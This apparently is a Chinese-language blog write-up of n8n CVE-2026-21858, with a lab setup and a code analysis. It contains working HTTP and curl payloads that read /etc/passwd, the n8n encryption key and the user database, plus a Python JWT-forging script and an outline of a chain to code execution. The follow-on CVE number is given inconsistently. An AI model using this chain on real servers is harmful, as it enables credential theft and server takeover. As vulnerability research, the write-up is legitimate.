AI 应用 n8n 未授权到 RCE 漏洞分析(CVE-2026-21858)
AI 应用 n8n 未授权到 RCE 漏洞 CVE-2026-21858
AI 应用 n8n 未授权到 RCE 漏洞 CVE-2026-21858
前言
最近高危漏洞库一直在出新的漏洞,快分析不过来了

又出了一个 n8n 的未授权漏洞
csvv 评分 9.5 分
一、漏洞描述
n8n 中的一个漏洞允许攻击者通过某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能会让未认证的远程攻击者获得访问权限。这可能导致系统中存储的敏感信息暴露,并根据部署配置和工作流程使用情况,可能引发进一步的入侵。
二、环境搭建
2.1 使用 Docker 部署 n8n 1.116.0
# 拉取 n8n 1.116.0 镜像
docker pull n8nio/n8n:1.116.0
# 启动容器
docker run -d \
--name n8n \
-p 5678:5678 \
-v ~/.n8n:/home/node/.n8n \
n8nio/n8n:1.116.0
# 等待启动
sleep 5
# 访问 http://localhost:56782.2 工作流
我按照官方公布的漏洞原因写了一下
创建文件 vulnerable_workflow.json:
{
"name": "LFI Vulnerable Form",
"active": true,
"nodes": [
{
"parameters": {
"authentication": "none",
"formTitle": "File Upload",
"formDescription": "Upload your document",
"responseMode": "responseNode",
"formFields": {
"values": [
{
"fieldLabel": "document",
"fieldType": "file"
}
]
},
"options": {}
},
"id": "form-trigger",
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"typeVersion": 2,
"position": [240, 300]
},
{
"parameters": {
"amount": 5,
"unit": "seconds"
},
"id": "wait-node",
"name": "Wait",
"type": "n8n-nodes-base.wait",
"typeVersion": 1,
"position": [460, 300]
},
{
"parameters": {
"respondWith": "binary",
"options": {}
},
"id": "respond-node",
"name": "Respond to Webhook",
"type": "n8n-nodes-base.respondToWebhook",
"typeVersion": 1,
"position": [680, 300]
}
],
"connections": {
"Form Trigger": {
"main": [
[
{
"node": "Wait",
"type": "main",
"index": 0
}
]
]
},
"Wait": {
"main": [
[
{
"node": "Respond to Webhook",
"type": "main",
"index": 0
}
]
]
}
},
"settings": {}
}
导入进去后

先启动一下,然后点击表单编辑

就可以得到链接了
三、漏洞分析
3.1 漏洞流程
核心原因是 Form Trigger 节点在处理表单提交时,未验证 Content-Type 头,我们可以通过控制 req.body.files 对象的 filepath 参数。
正常流程与漏洞流程对比:
正常流程 (multipart/form-data):
┌─────────────────────────────────────────────────────────┐
│ HTTP Request with multipart/form-data │
│ Content-Type: multipart/form-data; boundary=... │
├─────────────────────────────────────────────────────────┤
│ parseRequestBody() middleware │
│ ↓ │
│ parseFormData() → Formidable 库 │
│ ↓ │
│ req.body.files = { │
│ "field-0": { │
│ filepath: "/tmp/xxxxx随机路径", ← Formidable 生成 │
│ originalFilename: "user.pdf", │
│ ... │
│ } │
│ } │
└─────────────────────────────────────────────────────────┘
漏洞流程 (application/json):
┌─────────────────────────────────────────────────────────┐
│ HTTP Request with application/json │
│ Content-Type: application/json │
├─────────────────────────────────────────────────────────┤
│ parseRequestBody() middleware │
│ ↓ │
│ parseBody() → JSON 解析器 │
│ ↓ │
│ req.body.files = { ← 攻击者通过 JSON 完全控制! │
│ "field-0": { │
│ filepath: "/etc/passwd", ← 任意路径! │
│ originalFilename: "任意名称", │
│ ... │
│ } │
│ } │
└─────────────────────────────────────────────────────────┘所以就会导致我们可以读取任意的文件
漏洞原理/代码分析
3.2.1 表单数据处理逻辑
prepareFormReturnItem 函数:
async function prepareFormReturnItem(context, formFields, mode, useWorkflowTimezone = false) {
const bodyData = context.getBodyData().data ?? {};
const files = context.getBodyData().files ?? {};
const returnItem = {
json: {},
};
if (files && Object.keys(files).length) {
returnItem.binary = {};
}
for (const key of Object.keys(files)) {
const processFiles = [];
let multiFile = false;
const filesInput = files[key];
if (Array.isArray(filesInput)) {
bodyData[key] = filesInput.map((file) => ({
filename: file.originalFilename,
mimetype: file.mimetype,
size: file.size,
}));
processFiles.push(...filesInput);
multiFile = true;
}
else {
bodyData[key] = {
filename: filesInput.originalFilename,
mimetype: filesInput.mimetype,
size: filesInput.size,
};
processFiles.push(filesInput);
}
const entryIndex = Number(key.replace(/field-/g, ''));
const fieldLabel = isNaN(entryIndex) ? key : formFields[entryIndex].fieldLabel;
let fileCount = 0;
for (const file of processFiles) {
let binaryPropertyName = fieldLabel.replace(/\W/g, '_');
if (multiFile) {
binaryPropertyName += `_${fileCount++}`;
}
returnItem.binary[binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(file.filepath, file.originalFilename ?? file.newFilename, file.mimetype);
}
}
addFormResponseDataToReturnItem(returnItem, formFields, bodyData);
const timezone = useWorkflowTimezone ? context.getTimezone() : 'UTC';
returnItem.json.submittedAt = luxon_1.DateTime.now().setZone(timezone).toISO();
returnItem.json.formMode = mode;
if (context.getNode().type === n8n_workflow_1.FORM_TRIGGER_NODE_TYPE &&
Object.keys(context.getRequestObject().query || {}).length) {
returnItem.json.formQueryParameters = context.getRequestObject().query;
}
return returnItem;
}看到这函数就能够发现很多问题了
- 路径验证问题:
file.filepath直接来自context.getBodyData().files,未进行任何安全检查,也是我们触发漏洞的关键参数 - 无来源验证: 未检查文件是否真正由 Formidable 上传,导致我们写任意文件都可以
- 无路径遍历防护: 未过滤
../或绝对路径,当然路径完全可控也没有必要目录穿越了
3.2.2 Respond to Webhook 二进制数据处理
getBinaryResponse 函数:
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.getBinaryResponse = void 0;
const n8n_workflow_1 = require("n8n-workflow");
const setContentLength = (responseBody, headers) => {
if (Buffer.isBuffer(responseBody)) {
headers['content-length'] = responseBody.length;
}
else if (typeof responseBody === 'string') {
headers['content-length'] = Buffer.byteLength(responseBody, 'utf8');
}
};
const getBinaryResponse = (binaryData, headers) => {
let responseBody;
if (binaryData.id) {
responseBody = { binaryData };
}
else {
const responseBuffer = Buffer.from(binaryData.data, n8n_workflow_1.BINARY_ENCODING);
responseBody = responseBuffer;
setContentLength(responseBody, headers);
}
headers['content-type'] ??= binaryData.mimeType;
return responseBody;
};
exports.getBinaryResponse = getBinaryResponse;该函数直接将 binaryData.data 转换为 Buffer 并返回到页面,没有任何路径验证
3.3 恶意利用组合拳分析
如果只是读取一个文件,有危害,但是不多,如果我们能够读取到凭证,那利用面就很大了
所以需要打一个组合拳漏洞,组合拳流程
n8n 的关键文件都在下面的流程图中列出来啦,注意!!!! 我只是本地复现,才会脱库,仅用于本地复现,切勿在真实环境中使用
┌────────────────────────────────────────────────────────────────────────┐
│ 完整攻击链 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: 读取配置文件获取加密密钥 │
│ ├─ Payload: {"files":{"field-0":{"filepath":"/home/node/.n8n/config"}}}│
│ └─ 获取 encryptionKey │
│ │
│ Step 2: 读取数据库文件获取用户凭据 │
│ ├─ Payload: {"files":{"field-0":{"filepath":"/home/node/.n8n/database.sqlite"}}}│
│ └─ 获取 password hash, email │
│ │
│ Step 3: 伪造管理员 JWT 令牌 │
│ ├─ secret = sha256(encryptionKey[::2].encode()).hexdigest() │
│ ├─ user_hash = base64(sha256(email+password).digest())[:10] │
│ └─ token = jwt.encode({id, hash}, secret, "HS256") │
│ │
│ Step 4: 以管理员身份访问 API │
│ └─ Cookie: n8n-auth={forged_token} │
│ │
│ Step 5: CVE-2025-68613 表达式注入 RCE │
│ ├─ 创建工作流,添加 Code 节点 │
│ ├─ 表达式: this.process.mainModule.require('child_process') │
│ └─ 执行任意系统命令 │
│ │
└────────────────────────────────────────────────────────────────────────┘四、漏洞复现
读取文件测试
读取 /etc/passwd:
POST /form/407e5e6d-58b0-4866-81b9-9c3fa6646568 HTTP/1.1
Host: localhost:5678
Content-Type: application/json
Content-Length: 156
{
"data": {},
"files": {
"field-0": {
"filepath": "/etc/passwd",
"originalFilename": "passwd.txt",
"mimetype": "text/plain",
"size": 2000
}
}
}响应:

读取加密密钥
POST /form/407e5e6d-58b0-4866-81b9-9c3fa6646568 HTTP/1.1
Host: localhost:5678
Content-Type: application/json
Content-Length: 156
{
"data": {},
"files": {
"field-0": {
"filepath": "/home/node/.n8n/config",
"originalFilename": "config.json",
"mimetype": "application/json",
"size": 5000
}
}
}响应:

读取数据库文件
POST /form/407e5e6d-58b0-4866-81b9-9c3fa6646568 HTTP/1.1
Host: localhost:5678
Content-Type: application/json
Content-Length: 156
{
"data": {},
"files": {
"field-0": {
"filepath": "/home/node/.n8n/database.sqlite",
"originalFilename": "database.db",
"mimetype": "application/octet-stream",
"size": 50000
}
}
}
因为文件太多了,所以方便查询凭证,这里我脱库了,再次提醒!!!!:我只是本地复现,才会脱库,仅用于本地复现,切勿在真实环境中使用
curl -X POST "http://localhost:5678/form/407e5e6d-58b0-4866-81b9-9c3fa6646568" \
-H "Content-Type: application/json" \
-d '{
"data": {},
"files": {
"field-0": {
"filepath": "/home/node/.n8n/database.sqlite",
"originalFilename": "database.db",
"mimetype": "application/octet-stream",
"size": 50000
}
}
}' \
--output database.sqlite
数据库下载下来后,我们进行查询
提取用户凭据
sqlite3 database.sqlite "SELECT id, email, password FROM user WHERE roleSlug='global:owner';"
伪造管理员令牌
import jwt
import hashlib
import base64
encryption_key = "TCnadhUIh4dxxxxxxx+qCEb8H4P"
user_id = "11a0641dxxxxxxxc4fc"
email = "xxxxxx@qq.com"
password_hash = "$2a$10$neenX8pxxxxxxxxxxxxxx5oPV.1iNrMMy9Ei.PVv1W"
# 生成签名密钥
secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()
# 生成用户哈希
user_hash = base64.b64encode(
hashlib.sha256(f"{email}:{password_hash}".encode()).digest()
).decode()[:10]
# 创建 JWT payload
payload = {"id": user_id, "hash": user_hash}
# 生成令牌
token = jwt.encode(payload, secret, "HS256")
print(f"n8n-auth={token}")得到的 token 我们可以去验证
验证管理员权限
curl -H "Cookie: n8n-auth=xxxxxxxxxx" \
"http://localhost:5678/rest/users"
成功验证
无 cookie

RCE 就是之前那个漏洞
CVE-2025-68668
参考资料
CVE-2026-21858漏洞因n8n的Form Trigger节点未验证Content-Type,导致攻击者可读取敏感文件并伪造管理员令牌。
由 AI 根据全文自动生成,仅供参考,以原文为准